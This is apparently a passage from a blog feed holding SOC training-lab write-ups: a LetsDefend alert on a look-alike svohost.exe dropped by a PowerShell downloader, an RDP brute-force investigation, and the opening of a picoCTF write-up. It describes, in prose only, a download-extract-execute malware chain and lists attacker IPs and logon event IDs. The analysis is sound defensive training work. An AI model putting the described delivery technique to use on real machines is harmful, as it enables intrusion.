&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg900kgljg1gufygqfmas.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg900kgljg1gufygqfmas.png" alt="Create case" width="800" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create case&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h2he8uko5qs0sr2y2oj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3h2he8uko5qs0sr2y2oj.png" alt="information" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a malicious process named &lt;code&gt;svohost.exe&lt;/code&gt; which is named close to &lt;code&gt;svchost.exe&lt;/code&gt;. Svchost.exe (Service Host) is an essential Windows system process that loads and manages multiple background services (DLL-based) to save system resources and improve stability.&lt;/p&gt;

&lt;p&gt;Weird name for the process user &lt;br&gt;
&lt;code&gt;EC2AMAZ-ILGVOIN\LetsDefend&lt;/code&gt; enough to spark doubt and take the alert seriously.&lt;/p&gt;

&lt;p&gt;Looking at the file hash, I decided to search for it on Virustotal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrfk8ial9oi73j5balv6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftrfk8ial9oi73j5balv6.png" alt="virustotal" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;50 out of 72 vendors flag this file as malicious on Virustotal&lt;/p&gt;

&lt;p&gt;Moving onto Endpoint security:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxn28pulviqzd5j6hhthk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxn28pulviqzd5j6hhthk.png" alt="code" width="800" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This PowerShell script downloads a password-protected ZIP file (&lt;code&gt;service-installer.zip&lt;/code&gt;) from a remote S3 bucket to &lt;code&gt;C:\temp&lt;/code&gt;, then uses 7-Zip to extract the archive with the password &lt;code&gt;infected&lt;/code&gt; into the same directory. After extraction, it deletes the original ZIP file and executes &lt;code&gt;svohost.exe&lt;/code&gt; from the extracted &lt;code&gt;service_installer&lt;/code&gt; folder. This behavior is highly indicative of malware delivery and execution, as it retrieves a payload from an external source, extracts it using a hardcoded password (often used to evade static scanning), and launches an executable with a name (&lt;code&gt;svohost.exe&lt;/code&gt;) that mimics a legitimate Windows process (&lt;code&gt;svchost.exe&lt;/code&gt;) to avoid detection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbao18k3pr989jh9iwq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbao18k3pr989jh9iwq3.png" alt="svohost.exe information" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the information from &lt;code&gt;svohost.exe&lt;/code&gt; on the endpoint "Victor"&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61sl4hh7srqseddbxqmk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F61sl4hh7srqseddbxqmk.png" alt="affected" width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When I search for the affected host's (Victor) IP in Log Management, and run through the logs, I find there have been multiple failed logon attempts targeting the destination's RDP port (port 3389).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EventID 4625 (failed logon)&lt;/li&gt;
&lt;li&gt;Error code 0xC000006D (bad username or password)&lt;/li&gt;
&lt;li&gt;Attempts for accounts like "admin" and "guest"&lt;/li&gt;
&lt;li&gt;Source IP: 185[.]107[.]56[.]141&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For successful logon:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EventID 4624 (successful logon)&lt;/li&gt;
&lt;li&gt;Logon Type 10 (RemoteInteractive) (typically RDP)&lt;/li&gt;
&lt;li&gt;Username: Victor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next, I search for the source IP 185[.]107[.]56[.]141 in Threat Intel on Letsdefend, and the IP is tagged "Brute Force"&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6s7vzd3du1e0d593adao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6s7vzd3du1e0d593adao.png" alt="Brute Force" width="800" height="417"&gt;&lt;/a&gt;&lt;br&gt;
a strong confirmation that the activity was malicious.&lt;/p&gt;

&lt;p&gt;EventID: 313&lt;br&gt;
Event Time: Jan 22, 2025, 02:37 AM&lt;br&gt;
Rule: SOC335 — CVE-2024–49138 Exploitation Detected&lt;br&gt;
Alert category: True Positive&lt;/p&gt;

&lt;p&gt;For answering the questions of the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnhgmc9cs8ud0gqopldbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnhgmc9cs8ud0gqopldbi.png" alt="playbookq1" width="800" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I pick the first option because of the command we saw that downloads a malicious file from a remote S3 bucket and then executes &lt;code&gt;svohost.exe&lt;/code&gt;. Such behavior is a red flag for outbound connections to Command and Control (C2) infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayfeu2wajblgclpf43yw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fayfeu2wajblgclpf43yw.png" alt="malwarequaratined" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The malware was allowed and not quarantined or cleaned up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hwjbgdep8pi29zf3htd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7hwjbgdep8pi29zf3htd.png" alt="malwareanalyze" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we move ahead with analyzing the malware. From the Virustotal scan, we know it is malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82l979jwugu1exj8fup6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82l979jwugu1exj8fup6.png" alt="c2requested" width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Log Management, the suspicious IP (185.107.56.141) appears in events targeting the host (172.16.17.207) and is also tied to remote access activity, so the malicious address was observed in logs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fidxmp2d4gt1269usmi6j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fidxmp2d4gt1269usmi6j.png" alt="containit" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next, we move ahead with containing the affected host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhba42okxbgeg08xnipe1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhba42okxbgeg08xnipe1.png" alt="contained" width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5yq3kn7bypxwl4nzstd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff5yq3kn7bypxwl4nzstd.png" alt="Artifacts" width="800" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding the artifacts, the malicious sender IP, the MD5 hash of the malicious file (from Virustotal), and the malicious code snippet that was running on the terminal.&lt;/p&gt;

&lt;p&gt;Analyst's notes:&lt;br&gt;
I have determined this alert to be a True Positive, as the host Victor (172.16.17.207) executed a suspicious look-alike binary, &lt;code&gt;svohost.exe&lt;/code&gt;, from &lt;code&gt;C:\temp\service_installer\&lt;/code&gt; under an unusual user context with &lt;code&gt;powershell.exe&lt;/code&gt; as its parent, and the file hash is tagged in Threat Intel with CVE-2024-49138. Log Management reveals that the source IP &lt;code&gt;185.107.56.141&lt;/code&gt; repeatedly targeted the host over RDP (port 3389), with Windows security events showing multiple failed logons (4625 / 0xC000006D) followed by a successful remote logon (4624, Logon Type 10) from the same IP, indicating a successful brute force attack—further supported by Threat Intel flagging the IP as "Brute Force." Since the device action was logged as "Allowed," real-world containment would require immediate isolation of the endpoint, blocking the malicious IP, quarantining &lt;code&gt;svohost.exe&lt;/code&gt;, and resetting compromised credentials.&lt;/p&gt;

</description>
      <category>soc</category>
      <category>cybersecurity</category>
      <category>letsdefend</category>
      <category>securityanalysis</category>
    </item>
    <item>
      <title>LetsDefend SOC176 - RDP Brute Force Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Tue, 21 Apr 2026 17:14:29 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc176-rdp-brute-force-detected-1p83</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc176-rdp-brute-force-detected-1p83</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiu6henot1gwyj1qoybfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiu6henot1gwyj1qoybfo.png" alt="Taking ownership" width="800" height="459"&gt;&lt;/a&gt;&lt;br&gt;
Step 1: I took ownership of the alert to ensure clear accountability throughout the investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrv0ui351d7jpyhzcm07.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwrv0ui351d7jpyhzcm07.png" alt="Create case" width="800" height="529"&gt;&lt;/a&gt;&lt;br&gt;
Step 2: I created a case for the alert on the investigation channel to centralize all relevant information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fstv5cff7ck8cvl8c8c11.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fstv5cff7ck8cvl8c8c11.png" alt="Start playbook" width="800" height="342"&gt;&lt;/a&gt;&lt;br&gt;
Step 3: I started the incident response playbook to guide my investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytmg4fv5be5e0fj85id.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiytmg4fv5be5e0fj85id.png" alt="Log management" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 4: From the "Log Management" tab, I determined that the source IP is external.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f2de9gt78wzydua76bz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6f2de9gt78wzydua76bz.png" alt="Check IP reputation" width="800" height="451"&gt;&lt;/a&gt;&lt;br&gt;
Step 5: I checked the reputation of the source IP address on the following threat intelligence platforms:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ptgbgw4xz8zktjo55mb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ptgbgw4xz8zktjo55mb.png" alt="VirusTotal" width="800" height="487"&gt;&lt;/a&gt;&lt;br&gt;
Virustotal&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dqn8pvk8vfcopwtsdju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dqn8pvk8vfcopwtsdju.png" alt="AbuseIPDB" width="800" height="681"&gt;&lt;/a&gt;&lt;br&gt;
AbuseIPDB&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7fdomi8dcqeb7toio3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7fdomi8dcqeb7toio3i.png" alt="LetsDefend TI" width="800" height="428"&gt;&lt;/a&gt;&lt;br&gt;
Letsdefend TI&lt;br&gt;
Based on the findings from these sources, I confirmed that the source IP address is malicious.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3kldku9xhpetzpkl4t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvf3kldku9xhpetzpkl4t.png" alt="Traffic analysis" width="800" height="454"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 6: I proceeded to traffic analysis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foevhkrq5py9kqfota5mf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foevhkrq5py9kqfota5mf.png" alt="log" width="800" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I observed that port 3389 (RDP) on the destination was under attack. By reviewing the raw logs, I identified Event ID 4625, which corresponds to account logon failure on Windows systems.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0egp1o48m9l43jpsxeuu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0egp1o48m9l43jpsxeuu.png" alt="unique target question" width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon investigation, I found that only one unique destination IP (belonging to "Matthew") was attacked. Therefore, my answer to this question is no.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5g0ebjd52khc5ejq08vd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5g0ebjd52khc5ejq08vd.png" alt="logs managing" width="800" height="544"&gt;&lt;/a&gt;&lt;br&gt;
Step 7: I continued managing and analyzing the logs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fld0n820roq3g61s8al32.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fld0n820roq3g61s8al32.png" alt="failed logons" width="800" height="508"&gt;&lt;/a&gt;&lt;br&gt;
These are all failed logon attempts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6twj7rvs1k4p2cf0pxh6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6twj7rvs1k4p2cf0pxh6.png" alt="logon successful" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I then found one successful logon. This confirmed that the brute force attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx75bt6tisrip733bkaf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frx75bt6tisrip733bkaf.png" alt="containment" width="800" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 8: I determined that the compromised device must be isolated immediately, as it can pose a risk to the network.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k5uqt2smk5vq9zhoxd9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3k5uqt2smk5vq9zhoxd9.png" alt="precontainment" width="800" height="441"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybi6z5cz8gw3xxldvx1u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybi6z5cz8gw3xxldvx1u.png" alt="successful containment" width="800" height="442"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 9: Containment was successfully executed. The device is now isolated.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fta2i8nw3x7uygqiwntzk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fta2i8nw3x7uygqiwntzk.png" alt="Analyst notes" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 11: I documented my findings in the analyst notes:&lt;/p&gt;

&lt;p&gt;The attack was targeted at Matthew’s machine via RDP from IP 218[.]92[.]0[.]56 using a brute force method. Logs confirmed 14 failed logon attempts followed by a successful logon to the “Matthew” host device, making this a confirmed compromise. Containment was performed to prevent further spread of damage.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjidj0rghuywjoidvdk36.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjidj0rghuywjoidvdk36.png" alt="finish playbook" width="800" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 12) I finished the playbook&lt;/p&gt;

&lt;p&gt;Step 13) I close the alert&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xidp7nymoto4s7ydkfj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xidp7nymoto4s7ydkfj.png" alt="close the alert" width="800" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>soc</category>
      <category>letsdefend</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>picoCTF bloat.py writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Mon, 22 Sep 2025 14:08:19 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/picoctf-bloatpy-writeup-agp</link>
      <guid>https://zeroday.forem.com/hitanshugedam/picoctf-bloatpy-writeup-agp</guid>
      <description>&lt;p&gt;We are given two files and are askedd to run them in the same directory.&lt;br&gt;
I create a &lt;code&gt;~/tmp&lt;/code&gt; directory on pico webshell and wget those two files in it. First, I open the python file to try to understand the code.&lt;/p&gt;

